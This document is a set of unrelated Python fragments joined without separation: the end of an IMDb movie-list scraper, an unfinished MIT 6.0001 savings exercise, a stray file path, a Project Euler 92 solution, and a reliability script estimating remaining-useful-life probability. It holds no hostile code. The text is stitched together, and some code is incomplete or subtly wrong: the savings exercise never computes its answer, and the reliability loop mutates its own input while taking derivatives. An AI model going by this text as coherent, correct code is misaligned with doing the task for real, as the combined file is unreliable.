    soup = BeautifulSoup(response.text, "html.parser")
    movie = soup.find("tbody", class_="lister-list").find_all("tr")

    for movies in movie:
        rank = movies.find("td", class_="titleColumn").get_text(strip=True).split(".")[0]
        movie_name = movies.find("td", class_ ="titleColumn").a.text
        rating = movies.find("td", class_="ratingColumn imdbRating").strong.text
        year = movies.find("td", class_="titleColumn").span.text.replace("("," ")
        year = year.replace(")"," ")
        sheet.append([rank, movie_name, rating, year])
except Exception as e:
    print(e)

wb.save(r"C:\Users\rknav\Downloads\Movie_list.xlsx")


# -*- coding: utf-8 -*-
"""
Assignments MIT6_0001
ps1
    ps1a.py

@author: Nguyễn Phương Nam _KHMT K28
"""
import os

answer = "y"
while (answer != "n" and answer != "N"):
    unused_variable_answer = os.system("cls")

    while True:
        try:
            annual_salary = float(input("Enter your annual salary: "))
            portion_saved = float(input("Enter the percent of your salary to save, as a decimal: "))
            break
        except:
            print("Plz enter NUMBER!!!")

    monthly_salary = annual_salary / 12

    answer = str(input("Do you want to continue? (y/n): "))
    if (answer == "n" or answer == "N"):
        print("\n Thank you and see you again! :-)")
        break

Moj practice MIT 60001/Assignments/ps1/ps1aMoj.py


def main():
    def euler92(limit):
        # Let sumsq uphold the invariant that the nth element contains
        # the sum of the squares of the digits of n, or better yet, a
        # value somewhere along its reduction chain.

        # Start with the base case: chain[0] = sum(0 * 0) = 0.
        # Also preallocate many unknowns...
        sumsq = [sum((0 * 0,))] + [None] * limit

        # ... and fill them in.  Note how we reuse previous sums!
        for i in range(1 + limit):
            sumsq[i] = (i % 10) ** 2 + sumsq[i // 10]

        # Keep reducing each element until everything has converged
        # on either 1 or 89.
        all_converged = False
        while not all_converged:
            all_converged, eighty_nines = True, 0
            for i in range(1, 1 + limit):
                if sumsq[i] == 1:
                    pass
                elif sumsq[i] == 89:
                    eighty_nines += 1
                else:
                    all_converged = False
                    # sumsq[sumsq[i]] is a quick way to calculate
                    # the sum of the squares of the digits, and maybe
                    # even skip a few steps down the chain.
                    sumsq[i] = sumsq[sumsq[i]]
        return eighty_nines

    print (euler92(10000000))

if __name__ == '__main__':
    main()


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sun Jul  9 04:41:00 2017

@author: Shankar
"""

from stateequation import stateupdateequation, computevoltageforthreshold,getinput
from RULPredictor import calculateRUL
from Parameters import params
import matplotlib.pyplot as plt
import numpy as np
from scipy.stats import norm
from math import sqrt

def convertoriginaltostd(X,Means,StdDev):

    U=[0,0,0,0,0]
    for i in range(0,len(X)):
        U[i]=(X[i]-Means[i])/StdDev[i]

    return U

def convertstdtooriginal(U,Means,StdDev):

    X=[0,0,0,0,0]
    for i in range(0,len(U)):
        X[i]=U[i]*StdDev[i]+Means[i]

    return X

Prm=params()
Means=[Prm.Init0,Prm.Init1,Prm.Init2,Prm.Init3,2]
StdDev=[Prm.Init0*0.1,Prm.Init1*0.1,0.1,0.1,0.2]

# What is the probability that the RUL is less than given number
RUL_Upper_Limit = 3286;
# P(RUL<given number) = ?
# we need to get to the curve RUL=RUL_Upper_Limit
# Every point on this curve has a probability of occurrence, we find that point with maximum probability

derivative=[0,0,0,0,0]
alpha=[0,0,0,0,0] #gradient in the standard normal space

Old_U=[0,0,0,0,0]

continue_counter=1

while(continue_counter==1 or continue_counter=='1' ):
    Old_X=convertstdtooriginal(U=Old_U,Means=Means,StdDev=StdDev)
    Gfunction=calculateRUL(Old_X,Prm)
    perturb=0.01

    for i in range(0,len(Old_X)):

        argument=Old_X
        argument[i]=argument[i]+perturb
        perturbGfunction=calculateRUL(argument,Prm)
        derivative[i]=(perturbGfunction-Gfunction)/perturb
        alpha[i]=derivative[i]*StdDev[i]

    normvalue=np.linalg.norm(np.array(alpha))

    Array_OldU=np.array(Old_U)
    Array_alpha=np.array(alpha)
    New_U=(np.dot(Array_OldU,Array_alpha)-Gfunction+RUL_Upper_Limit)*Array_alpha/(normvalue*normvalue)
    Old_U=New_U
    print(Gfunction)
    print(Old_X)
    continue_counter=input("Would you like to continue (if so, say 1)?")

Probability_Value=norm.cdf(-sqrt(np.dot(Old_U,Old_U)))
print("Final Probability Value")
print(Probability_Value)